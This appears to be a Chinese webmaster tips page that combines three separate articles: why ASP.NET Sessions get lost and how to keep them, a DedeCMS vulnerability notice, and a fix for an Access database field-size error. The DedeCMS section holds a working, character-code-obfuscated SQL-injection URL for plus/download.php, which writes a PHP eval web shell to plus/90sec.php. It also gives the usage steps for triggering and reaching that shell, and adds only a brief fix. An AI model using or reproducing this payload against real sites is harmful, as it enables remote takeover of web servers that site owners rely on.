    哪些情况下该进程会重起呢?微软的一篇文章告诉了我们:
    1、配置文件中processModel标签的memoryLimit属性
    2、Global.asax或者Web.config文件被更改
    3、Bin文件夹中的Web程序(DLL)被修改
    4、杀毒软件扫描了一些.config文件。

    解决办法:
    前面说到的sessionState标签中mode属性可以有三个取值,除了InProc之外,还可以为StateServer、SQLServer。这两种存Session的方法都是进程外的,所以当aspnet_wp.exe重起的时候,不会影响到Session。
    现在请将mode设定为StateServer。StateServer是本机的一个服务,可以在系统服务里看到服务名为ASP.NET State Service的服务,默认情况是不启动的。当我们设定mode为StateServer之后,请手工将该服务启动。
    这样,我们就能利用本机的StateService来存储Session了,除非电脑重启或者StateService崩掉,否则Session是不会丢的(因Session超时被丢弃是正常的)。

    除此之外,我们还可以将Session通过其他电脑的StateService来保存。具体的修改是这样的。同样还在sessionState标签中,有个stateConnectionString='tcpip=127.0.0.1:42424'属性,其中有个ip地址,默认为本机(127.0.0.1),你可以将其改成你所知的运行了StateService服务的电脑IP,这样就可以实现位于不同电脑上的Asp.net程序互通Session了。

    如果你有更高的要求,需要在服务期重启时Session也不丢失,可以考虑将mode设定成SQLServer,同样需要修改sqlConnectionString属性。关于使用SQLServer保存Session的操作,请访问这里。

    在使用StateServer或者SQLServer存储Session时,所有需要保存到Session的对象除了基本数据类型(默认的数据类型,如int、string等)外,都必须序列化。只需将[Serializable]标签放到要序列化的类前就可以了。
    如:
    [Serializable]
    public class MyClass
    {
       ......
    }

    至此,问题解决。


    关于asp.net Session丢失问题的总结
    asp中Session的工作原理:
    asp的Session是具有进程依赖性的。ASP Session状态存于IIS的进程中,也就是inetinfo.exe这个程序。所以当inetinfo.exe进程崩溃时,这些信息也就丢失。另外,重起或者关闭IIS服务都会造成信息的丢失。

    asp.net Session的实现:
    asp.net的Session是基于HttpModule技术做的,HttpModule可以在请求被处理之前,对请求进行状态控制,由于Session本身就是用来做状态维护的,因此用HttpModule做Session是再合适不过了。

    原因1:
    bin目录中的文件被改写,asp.net有一种机制,为了保证dll重新编译之后,系统正常运行,它会重新启动一次网站进程,这时就会导致Session丢失,所以如果有access数据库位于bin目录,或者有其他文件被系统改写,就会导致Session丢失

    原因2:
    文件夹选项中,如果没有打开“在单独的进程中打开文件夹窗口”,一旦新建一个窗口,系统可能认为是新的Session会话,而无法访问原来的Session,所以需要打开该选项,否则会导致Session丢失

    原因3:
    似乎大部分的Session丢失是客户端引起的,所以要从客户端下手,看看cookie有没有打开

    原因4:
    Session的时间设置是不是有问题,会不会因为超时造成丢失

    原因5:
    IE中的cookie数量限制(每个域20个cookie)可能导致session丢失

    原因6:
    使用web garden模式,且使用了InProc mode作为保存session的方式

    解决丢失的经验
    1. 判断是不是原因1造成的,可以在每次刷新页面的时候,跟踪bin中某个文件的修改时间
    2. 做Session读写日志,每次读写Session都要记录下来,并且要记录SessionID、Session值、所在页面、当前函数、函数中的第几次Session操作,这样找丢失的原因会方便很多
    3. 如果允许的话,建议使用state server或sql server保存session,这样不容易丢失
    4. 在global.asa中加入代码记录Session的创建时间和结束时间,超时造成的Session丢失是可以在SessionEnd中记录下来的。
    5. 如果有些代码中使用客户端脚本,如javascript维护Session状态,就要尝试调试脚本,是不是因为脚本错误引起Session丢失。


DedeCMS漏洞,可提权,后台提示用户名不存在解决方法
  • 影响网站:

       所有DedeCMS版本

    漏洞页面

       plus/download.php

    如果已经发现/data,有很长一个TXT记事本,说明已经被其他人SQL注入了,或是已经有人进行尝试SQL注入了。记事本名如:75252sdaswfdfsfq538ef2ad3556_safe.txt这样的。

    漏洞脚本

       plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96

    漏洞使用

       生成一句话:/plus/mytag_js.php?aid=9013

       一句话页面:plus/90sec.php

    相关系统:

       Windows Server系列
    建议:直接把plus目录下的下载文件及搜索php文件是直接删除就解决了



Microsoft JET Database Engine 错误 '80040e21'
  • 如果处理数据库“字段太小而不能接受所要添加的数据的数量。试着插入或粘贴较少的数据。”的错误。

       这种情况一般发生在office access数据库上。access数据库与我们所熟知的mysql、mssql不同,它的字段中的一个文本类型的存储内容大小是按照字符来计算的最大为255个字符。
    最容易发生的就是从mssql数据库转换成access数据库,因为mssql是以字节来计算存储内容大小的,但是转换到access上之后会自动变为字符,所以在对这样的字段做写入操作的时候
    如果内容超出了字段所设定的字符数将会报以下错误,我们只需要把报错字段的字符限制改大就可以了。Microsoft JET Database Engine 错误 '80040e21'字段太小而不能接受所要添加的数据的数量。试着插入或粘贴较少的数据。